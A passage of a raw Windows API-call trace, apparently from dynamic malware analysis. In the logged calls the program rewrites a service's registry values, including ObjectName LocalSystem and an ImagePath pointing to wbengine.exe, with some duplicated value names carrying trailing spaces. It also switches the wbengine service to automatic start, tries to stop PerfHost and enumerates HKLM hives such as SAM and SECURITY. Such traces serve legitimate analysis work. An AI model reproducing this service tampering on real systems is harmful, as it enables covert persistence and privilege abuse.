lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.500] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0236.500] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0236.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0236.501] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0236.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0236.501] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.501] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.501] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.501] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.501] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.501] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.501] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.501] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.501] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.501] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.501] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.501] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.501] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.502] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.502] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.502] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0236.502] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0236.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0236.502] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0236.502] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.502] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.502] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.502] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.502] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.502] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.502] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.502] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.503] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.503] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.503] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.503] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.503] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.503] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.503] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.503] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0236.503] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbengine.exe", cbData=0x21 | out: lpData="C:\\Windows\\system32\\wbengine.exe") returned 0x0 [0236.503] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\wbengine.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f2c48*="C:\\Windows\\system32\\wbengine.exe" [0236.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0236.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0236.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0236.503] LocalFree (hMem=0x7f2c48) returned 0x0 [0236.503] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbengine.exe", cbData=0x21 | out: lpData="C:\\Windows\\system32\\wbengine.exe") returned 0x0 [0236.504] OpenServiceW (hSCManager=0x803918, lpServiceName="wbengine", dwDesiredAccess=0x2) returned 0x803990 [0236.539] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0236.540] CloseServiceHandle (hSCObject=0x803990) returned 1 [0236.541] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.541] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0236.541] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0236.541] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0236.541] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0236.541] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0236.541] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.541] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.541] RegCloseKey (hKey=0x150) returned 0x0 [0236.541] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0236.541] RegCloseKey (hKey=0x154) returned 0x0 [0236.541] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0236.541] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0236.541] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wbengine.exe" (normalized: "c:\\windows\\system32\\wbengine.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb688d32a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb688d32a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa450000, ftLastWriteTime.dwHighDateTime=0x1cb890f, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0236.541] CreateFileW (lpFileName="C:\\Windows\\system32\\wbengine.exe" (normalized: "c:\\windows\\system32\\wbengine.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.541] GetLastError () returned 0x20 [0236.541] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0236.542] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0236.542] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0236.542] OpenServiceW (hSCManager=0x803918, lpServiceName="PerfHost", dwDesiredAccess=0x20) returned 0x8038a0 [0236.542] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0236.543] GetLastError () returned 0x426 [0236.543] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0236.543] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0236.543] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0236.543] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0236.543] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0236.543] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0236.543] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0236.543] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0236.543] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0236.543] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.543] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.543] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.543] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.543] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0236.543] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.544] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0236.544] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.544] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0236.544] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.544] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0236.544] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.544] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0236.544] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.544] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0236.544] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.544] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0236.544] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.544] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0236.544] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.544] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.544] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0236.545] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.545] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0236.545] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.545] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0236.545] RegCloseKey (hKey=0x80000002) returned 0x0 [0236.545] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0236.545] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0236.545] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0236.545] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.545] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0236.545] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0236.545] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0236.545] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.545] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0236.545] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0236.546] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a48, cbMultiByte=14, 